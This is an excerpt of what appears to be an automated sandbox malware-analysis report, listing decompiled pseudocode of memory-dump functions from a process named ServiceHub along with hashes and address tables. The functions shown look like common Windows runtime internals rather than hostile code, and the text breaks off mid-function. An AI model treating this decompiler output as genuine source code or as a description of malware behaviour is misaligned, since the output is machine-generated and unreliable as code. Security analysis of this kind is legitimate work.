                                          0x0121a40f
                                          0x0121a415
                                          0x0121a423
                                          0x0121a423
                                          0x0121a415
                                          0x011db3d1
                                          0x011db3e8
                                          0x011db3e8
                                          0x011db3d9

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 59697dc000d4398e0dcec87c3c2d798069bc9cbb7ed8763e8b4aa9ca2371b325
                                          • Instruction ID: cdfdee9ecb553429ad0cba38f6b5ea0408ed937af1f90b6753fefb6b997373f5
                                          • Opcode Fuzzy Hash: 59697dc000d4398e0dcec87c3c2d798069bc9cbb7ed8763e8b4aa9ca2371b325
                                          • Instruction Fuzzy Hash: 8D114C3371A1145FCB1DCA1D8D81A6B7296EBD6630B29012DDD16CB380CE715C01C6D4
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011A9240 Relevance: .1, Instructions: 63COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 77%
                                          			E011A9240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x127f708);
				E011FD08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E011E95D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E011E95D0();
				_t33 =  *0x12984c4; // 0x0
				L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0x12984c4; // 0x0
				L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0x12984c4; // 0x0
				E011C2280(L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0x12986b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E011E95D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E011E95D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E011A9325();
					_t50 =  *0x12984c4; // 0x0
					return E011FD0D1(L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}















                                          0x011a9240
                                          0x011a9242
                                          0x011a9247
                                          0x011a924c
                                          0x011a924e
                                          0x011a9255
                                          0x011a9257
                                          0x011a925a
                                          0x011a925f
                                          0x011a925f
                                          0x011a9266
                                          0x011a9271
                                          0x011a9276
                                          0x011a9279
                                          0x011a927e
                                          0x011a9295
                                          0x011a929a
                                          0x011a92b1
                                          0x011a92b6
                                          0x011a92d7
                                          0x011a92dc
                                          0x011a92e0
                                          0x011a92e6
                                          0x011a92e8
                                          0x011a92ee
                                          0x011a9332
                                          0x011a9333
                                          0x011a9337
                                          0x011a9338
                                          0x011a933a
                                          0x011a933a
                                          0x011a933d
                                          0x011a9342
                                          0x011a9342
                                          0x011a9345
                                          0x011a9349
                                          0x011a934e
                                          0x011a9352
                                          0x011a9357
                                          0x011a92f4
                                          0x011a92f4
                                          0x011a92f6
                                          0x011a92f9
                                          0x011a9300
                                          0x011a9306
                                          0x011a9324
                                          0x011a9324

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: d79bf963aa5c64a2dca5a53b25b02fd7095e9a5c2ff5d3fddf00c2aaa9239a29
                                          • Instruction ID: 8f37f4cd32233469970c4bf633db4251c71c8070ec8d1ad432ce4d3bde523671
                                          • Opcode Fuzzy Hash: d79bf963aa5c64a2dca5a53b25b02fd7095e9a5c2ff5d3fddf00c2aaa9239a29
                                          • Instruction Fuzzy Hash: 3B216D72041A05DFC729EF68CA08F5ABBF9FF28708F04456CE109876A1CB34E941CB94
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01234257 Relevance: .1, Instructions: 60COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 90%
                                          			E01234257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0x12808d0);
				E011FD08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E012341E8(__ebx, __edi, __ecx, _t39);
				E011BEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0x12987e4;
					_t18 =  *0x12987e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0x1295cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0x12987e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0x12987e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L011A7055(_t31 + 0xfffffff8);
								_t24 =  *0x12987e0; // 0x0
								_t18 = _t24 - 1;
								 *0x12987e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0x1295cd0;
				if( *0x1295cd0 <= 0) {
					L011A7055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0x12987e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0x12987e8 = _t30;
						 *0x12987e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E011FD0D1(L01234320());
			}















                                          0x01234257
                                          0x01234257
                                          0x01234257
                                          0x01234259
                                          0x0123425e
                                          0x01234263
                                          0x01234265
                                          0x01234273
                                          0x01234278
                                          0x0123427c
                                          0x0123427f
                                          0x01234281
                                          0x01234287
                                          0x012342d7
                                          0x012342d7
                                          0x012342da
                                          0x0123428d
                                          0x0123428d
                                          0x0123428f
                                          0x01234292
                                          0x01234297
                                          0x0123429c
                                          0x012342a0
                                          0x012342a6
                                          0x012342a8
                                          0x012342ae
                                          0x012342b3
                                          0x00000000
                                          0x012342ba
                                          0x012342ba
                                          0x012342bf
                                          0x012342c5
                                          0x012342ca
                                          0x012342cf
                                          0x012342d0
                                          0x00000000
                                          0x012342d0
                                          0x012342b3
                                          0x00000000
                                          0x012342a6
                                          0x0123429c
                                          0x012342dc
                                          0x012342dc
                                          0x012342e3
                                          0x01234309
                                          0x012342e5
                                          0x012342e5
                                          0x012342e8
                                          0x012342ee
                                          0x012342f0
                                          0x00000000
                                          0x012342f2
                                          0x012342f2
                                          0x012342f4
                                          0x012342f7
                                          0x012342f9
                                          0x01234300
                                          0x01234300
                                          0x012342f0
                                          0x0123430e
                                          0x0123431f

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 2bd8ff4522e9b189f104ef99e97f58b3ab87dc3311e05ab0a457775a5d076e07
                                          • Instruction ID: c7ad567b4a7c5d5c6860dfe82337707e9b499035ada4829558008897ab6adfb8
                                          • Opcode Fuzzy Hash: 2bd8ff4522e9b189f104ef99e97f58b3ab87dc3311e05ab0a457775a5d076e07
                                          • Instruction Fuzzy Hash: CE216FB5521686CFC729EF6CE1046987BF1FB86314B6482AFC219DF2A6D7319491CB40
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D2397 Relevance: .1, Instructions: 59COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 34%
                                          			E011D2397(intOrPtr _a4) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				void* _t19;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				void* _t28;
				void* _t29;

				_t27 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
				if( *0x129848c != 0) {
					L011CFAD0(0x1298610);
					if( *0x129848c == 0) {
						E011CFA00(0x1298610, _t19, _t27, 0x1298610);
						goto L1;
					} else {
						_push(0);
						_push(_a4);
						_t26 = 4;
						_t29 = E011D2581(0x1298610, 0x11850a0, _t26, _t27, _t28);
						E011CFA00(0x1298610, 0x11850a0, _t27, 0x1298610);
					}
				} else {
					L1:
					_t11 =  *0x1298614; // 0x0
					if(_t11 == 0) {
						_t11 = E011E4886(0x1181088, 1, 0x1298614);
					}
					_push(0);
					_push(_a4);
					_t25 = 4;
					_t29 = E011D2581(0x1298610, (_t11 << 4) + 0x1185070, _t25, _t27, _t28);
				}
				if(_t29 != 0) {
					 *((intOrPtr*)(_t29 + 0x38)) = _t27;
					 *((char*)(_t29 + 0x40)) = 0;
				}
				return _t29;
			}















                                          0x011d23b0
                                          0x011d23b6
                                          0x011d2409
                                          0x011d2415
                                          0x01215ae9
                                          0x00000000
                                          0x011d241b
                                          0x011d241b
                                          0x011d241d
                                          0x011d2427
                                          0x011d242e
                                          0x011d2430
                                          0x011d2430
                                          0x011d23b8
                                          0x011d23b8
                                          0x011d23b8
                                          0x011d23bf
                                          0x011d23fc
                                          0x011d23fc
                                          0x011d23c1
                                          0x011d23c3
                                          0x011d23d0
                                          0x011d23d8
                                          0x011d23d8
                                          0x011d23dc
                                          0x011d23de
                                          0x011d23e1
                                          0x011d23e1
                                          0x011d23ec

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 0ffb7621d36a5dd0210ee854568d9fc3e569765cb77f36fa841c4ae005b2346f
                                          • Instruction ID: 1bfdddf2bdea5521789c868003ebaeb7ceeafc11b682d5cf54df4b3c26abbc9e
                                          • Opcode Fuzzy Hash: 0ffb7621d36a5dd0210ee854568d9fc3e569765cb77f36fa841c4ae005b2346f
                                          • Instruction Fuzzy Hash: 33114E327443417BE73CA62EAC44F25F6D9FBB5610F18811AF602EB180CBB4D8028794
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 012246A7 Relevance: .1, Instructions: 59COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 93%
                                          			E012246A7(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L011C4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					E011EF3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E011DD268(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					L011C77F0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}











                                          0x012246b7
                                          0x012246ba
                                          0x012246c5
                                          0x012246c8
                                          0x012246d0
                                          0x012246d4
                                          0x012246e6
                                          0x012246e9
                                          0x012246f4
                                          0x012246ff
                                          0x01224705
                                          0x01224706
                                          0x0122470c
                                          0x01224713
                                          0x0122471b
                                          0x01224723
                                          0x01224725
                                          0x012246d6
                                          0x012246d9
                                          0x012246db
                                          0x012246db
                                          0x01224732

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
                                          • Instruction ID: 32ecd66f84087cd7fe89872199c9253dc21f3ba9d64d566fc0b3f66cae29695e
                                          • Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
                                          • Instruction Fuzzy Hash: F4110272504208BBCB159F6C98808BEB7B9EFA5304F10806EF9848B350DA318D51C7A4
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011AC962 Relevance: .1, Instructions: 57COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 42%
                                          			E011AC962(char __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t19;
				char _t22;
				void* _t26;
				void* _t27;
				char _t32;
				char _t34;
				void* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0x129d360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					E011BEEF0(0x12970a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(E0122F625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E011BEB70(_t29, 0x12970a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return E011EB640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E0122F1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0x12970c0; // 0x0
					while(_t38 != 0x12970c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0x129b1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}


















                                          0x011ac96a
                                          0x011ac974
                                          0x011ac988
                                          0x011ac98a
                                          0x01217c9d
                                          0x01217c9f
                                          0x01217ca4
                                          0x01217cae
                                          0x01217cf0
                                          0x01217cf5
                                          0x01217cfa
                                          0x011ac992
                                          0x011ac996
                                          0x011ac997
                                          0x011ac998
                                          0x011ac9a3
                                          0x011ac9a3
                                          0x01217cb0
                                          0x01217cb7
                                          0x01217cbb
                                          0x00000000
                                          0x00000000
                                          0x01217cbd
                                          0x01217ce8
                                          0x01217cc5
                                          0x01217cc8
                                          0x01217cca
                                          0x01217cd0
                                          0x01217cd6
                                          0x01217cde
                                          0x01217ce4
                                          0x01217ce4
                                          0x01217cd0
                                          0x00000000
                                          0x01217ce8
                                          0x011ac990
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 98322429728a2b8ef1f1fd34ac93a85046000888d60c36d9aa83ffe3c62eb7de
                                          • Instruction ID: abc0f24b956c9b05cc4291ae73deb18d387be69d6a1d740ccd591cc6bfec4e76
                                          • Opcode Fuzzy Hash: 98322429728a2b8ef1f1fd34ac93a85046000888d60c36d9aa83ffe3c62eb7de
                                          • Instruction Fuzzy Hash: A511E131320607ABCB24EF2CDD89A6B7BE5FBE4614B100528E94683665DF60EC14CBD1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E37F5 Relevance: .1, Instructions: 57COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 87%
                                          			E011E37F5(void* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __edi;
				signed char _t6;
				intOrPtr _t13;
				intOrPtr* _t20;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t27 = __edx;
				_t28 = __ecx;
				if(__edx == 0) {
					E011C2280(_t6, 0x1298550);
				}
				_t29 = E011E387E(_t28);
				if(_t29 == 0) {
					L6:
					if(_t27 == 0) {
						E011BFFB0(0x1298550, _t27, 0x1298550);
					}
					if(_t29 == 0) {
						return 0xc0000225;
					} else {
						if(_t27 != 0) {
							goto L14;
						}
						L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
						goto L11;
					}
				} else {
					_t13 =  *_t29;
					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
						L13:
						_push(3);
						asm("int 0x29");
						L14:
						 *_t27 = _t29;
						L11:
						return 0;
					}
					_t20 =  *((intOrPtr*)(_t29 + 4));
					if( *_t20 != _t29) {
						goto L13;
					}
					 *_t20 = _t13;
					 *((intOrPtr*)(_t13 + 4)) = _t20;
					asm("btr eax, ecx");
					goto L6;
				}
			}











                                          0x011e37fa
                                          0x011e37fc
                                          0x011e3805
                                          0x011e3808
                                          0x011e3808
                                          0x011e3814
                                          0x011e3818
                                          0x011e3846
                                          0x011e3848
                                          0x011e384b
                                          0x011e384b
                                          0x011e3852
                                          0x00000000
                                          0x011e3854
                                          0x011e3856
                                          0x00000000
                                          0x00000000
                                          0x011e3863
                                          0x00000000
                                          0x011e3863
                                          0x011e381a
                                          0x011e381a
                                          0x011e381f
                                          0x011e386e
                                          0x011e386e
                                          0x011e3871
                                          0x011e3873
                                          0x011e3873
                                          0x011e3868
                                          0x00000000
                                          0x011e3868
                                          0x011e3821
                                          0x011e3826
                                          0x00000000
                                          0x00000000
                                          0x011e3828
                                          0x011e382a
                                          0x011e3841
                                          0x00000000
                                          0x011e3841

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 01339a8d260fdaaa78e3c6d741ac9a465c135714e9645afa1174ccd8937deb3e
                                          • Instruction ID: d32cb88bc9dc5708485fbd1d47d7d235a17fb1df16b5da55b9e62bf1190cc301
                                          • Opcode Fuzzy Hash: 01339a8d260fdaaa78e3c6d741ac9a465c135714e9645afa1174ccd8937deb3e
                                          • Instruction Fuzzy Hash: D401D672911E119BC33F8B9D9948E26BBE6FFD6B50716426DE965CB215DB30C801C7C0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D002D Relevance: .1, Instructions: 55COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011D002D() {
				void* _t11;
				char* _t14;
				signed char* _t16;
				char* _t27;
				signed char* _t29;

				_t11 = E011C7D50();
				_t27 = 0x7ffe0384;
				if(_t11 != 0) {
					_t14 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t14 = 0x7ffe0384;
				}
				_t29 = 0x7ffe0385;
				if( *_t14 != 0) {
					if(E011C7D50() == 0) {
						_t16 = 0x7ffe0385;
					} else {
						_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t16 & 0x00000040) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(E011C7D50() != 0) {
						_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					if( *_t27 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						if(E011C7D50() != 0) {
							_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t29 & 0x00000020) == 0) {
							goto L5;
						}
						L18:
						return 1;
					} else {
						L5:
						return 0;
					}
				}
			}








                                          0x011d0032
                                          0x011d0037
                                          0x011d0043
                                          0x01214b3a
                                          0x011d0049
                                          0x011d0049
                                          0x011d0049
                                          0x011d004e
                                          0x011d0053
                                          0x01214b48
                                          0x01214b5a
                                          0x01214b4a
                                          0x01214b53
                                          0x01214b53
                                          0x01214b5f
                                          0x00000000
                                          0x01214b61
                                          0x00000000
                                          0x01214b61
                                          0x011d0059
                                          0x011d0059
                                          0x011d0060
                                          0x01214b6f
                                          0x01214b6f
                                          0x011d0069
                                          0x01214b83
                                          0x00000000
                                          0x00000000
                                          0x01214b90
                                          0x01214b9b
                                          0x01214b9b
                                          0x01214ba4
                                          0x00000000
                                          0x00000000
                                          0x01214baa
                                          0x00000000
                                          0x011d006f
                                          0x011d006f
                                          0x00000000
                                          0x011d006f
                                          0x011d0069

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
                                          • Instruction ID: 68a371baecdf18bd69b10a53d3f6b9e1e1f6abf355a8dfa0914bffe51445bffa
                                          • Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
                                          • Instruction Fuzzy Hash: 33110872A116C29FE72BE72CC944B3537D4BF64B98F1A00A0EE098B692E368D941C651
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011B766D Relevance: .1, Instructions: 54COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 94%
                                          			E011B766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t42;
				intOrPtr _t47;

				_push(__ecx);
				_t36 =  &_v8;
				if(E011DF3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L10:
					_t22 = 0;
				} else {
					_t24 = _v8 + __ecx;
					_t42 = _t24;
					if(_t24 < __ecx) {
						goto L10;
					} else {
						if(E011DF3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
							goto L10;
						} else {
							_t29 = _v8 + _t42;
							if(_t29 < _t42) {
								goto L10;
							} else {
								_t47 = _t29;
								_t30 = _a16;
								if(_t30 != 0) {
									 *_t30 = _t47;
								}
								if(_t47 == 0) {
									goto L10;
								} else {
									_t22 = L011C4620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
								}
							}
						}
					}
				}
				return _t22;
			}










                                          0x011b7672
                                          0x011b767f
                                          0x011b7689
                                          0x011b76de
                                          0x011b76de
                                          0x011b768b
                                          0x011b7691
                                          0x011b7693
                                          0x011b7697
                                          0x00000000
                                          0x011b7699
                                          0x011b76a8
                                          0x00000000
                                          0x011b76aa
                                          0x011b76ad
                                          0x011b76b1
                                          0x00000000
                                          0x011b76b3
                                          0x011b76b3
                                          0x011b76b5
                                          0x011b76ba
                                          0x011b76bc
                                          0x011b76bc
                                          0x011b76c0
                                          0x00000000
                                          0x011b76c2
                                          0x011b76ce
                                          0x011b76ce
                                          0x011b76c0
                                          0x011b76b1
                                          0x011b76a8
                                          0x011b7697
                                          0x011b76d9

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
                                          • Instruction ID: 1074411ee85ffacc2ab1b45d988b98ff5bbd47b68dc77699a4245aa6c2c6d91f
                                          • Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
                                          • Instruction Fuzzy Hash: B8017532700119AFE7249E5ECC91E9B7AADEBD5760B150524FA09CB2D4DB60DD41C7A0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011A9080 Relevance: .1, Instructions: 53COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 69%
                                          			E011A9080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0x12985ec;
				E011C2280(_t48, 0x12985ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return E011BFFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0x129538c; // 0x771a6828
					if( *_t84 != 0x1295388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0x127f6e8);
						E011FD0E8(0x12985ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E012788F5(_t80, _t85, 0x1295388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0x12986c0; // 0xd407b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0x12986b8; // 0x0
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E011C2280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E012788F5(0x12985ec, _t85, 0x1295388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
